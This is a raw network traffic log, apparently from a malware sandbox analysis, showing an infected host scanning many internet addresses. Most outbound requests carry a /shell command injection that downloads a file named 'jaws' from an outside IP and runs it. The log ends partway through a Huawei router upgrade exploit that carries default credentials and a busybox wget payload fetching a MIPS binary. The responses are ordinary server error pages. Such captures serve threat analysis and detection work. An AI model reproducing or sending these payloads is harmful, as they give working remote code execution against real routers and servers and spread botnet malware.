Jan 2, 2024 06:24:08.653605938 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:08.922239065 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 02 Jan 2024 05:24:08 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	48182	87.255.233.53	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.655481100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:08.937916994 CET	117	IN	HTTP/1.1 500 Server Error Content-Length: 42 Date: Tue, 02 Jan 2024 05:24:08 GMT Connection: close
Jan 2, 2024 06:24:08.938493967 CET	54	IN	Data Raw: 45 72 72 6f 72 20 35 30 30 3a 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 42 61 64 20 72 65 71 75 65 73 74 3a 20 5b 47 45 54 5d Data Ascii: Error 500: Server ErrorBad request: [GET]

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	46650	206.238.103.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.700706959 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.018919945 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:08 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	59390	47.90.200.134	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.717627048 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	48916	23.214.139.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.852245092 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.077578068 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:08 GMT Date: Tue, 02 Jan 2024 05:24:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 33 39 64 64 35 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 38 26 23 34 36 3b 36 62 62 66 62 37 64 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf39dd58.1704173048.6bbfb7d6</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	50494	104.82.158.98	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.856573105 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.086863995 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Tue, 02 Jan 2024 05:24:08 GMT Date: Tue, 02 Jan 2024 05:24:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 65 64 31 31 31 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 38 26 23 34 36 3b 63 37 65 36 63 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3ed11102.1704173048.c7e6cf</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	47048	89.31.76.45	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.904728889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.156289101 CET	559	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 02 Jan 2024 05:24:09 GMT Server: Apache Location: http://webmail.labellum.it/shell?cd+/tmp%3brm+-rf+%3bwget+ Content-Length: 267 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 65 62 6d 61 69 6c 2e 6c 61 62 65 6c 6c 75 6d 2e 69 74 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 25 33 62 72 6d 2b 2d 72 66 2b 2a 25 33 62 77 67 65 74 2b 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://webmail.labellum.it/shell?cd+/tmp%3brm+-rf+%3bwget+">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	58250	152.67.216.180	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.004126072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.305883884 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:09 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	52608	206.233.253.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.052927017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	59592	158.94.0.206	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.082310915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.312453985 CET	420	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 02 Jan 2024 05:24:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	36038	23.12.99.171	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.103574038 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.354262114 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:09 GMT Date: Tue, 02 Jan 2024 05:24:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 34 35 66 37 61 35 63 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 39 26 23 34 36 3b 32 63 36 61 35 34 30 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.345f7a5c.1704173049.2c6a5406</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	52574	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.124772072 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:08Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	34712	38.181.35.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.179650068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.483020067 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:09 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	48208	87.255.233.53	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.207309008 CET	117	IN	HTTP/1.1 500 Server Error Content-Length: 48 Date: Tue, 02 Jan 2024 05:24:09 GMT Connection: close
Jan 2, 2024 06:24:09.208609104 CET	60	IN	Data Raw: 45 72 72 6f 72 20 35 30 30 3a 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 43 6c 69 65 6e 74 20 63 6c 6f 73 65 64 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: Error 500: Server ErrorClient closed connection

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	56714	13.244.84.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.228400946 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.603708029 CET	496	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:09 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 302 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 37 32 2e 31 37 2e 30 2e 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at 172.17.0.2 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	59818	202.75.28.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.284358978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.652014017 CET	614	IN	HTTP/1.1 400 Bad Request Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	51010	156.247.27.15	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.783412933 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 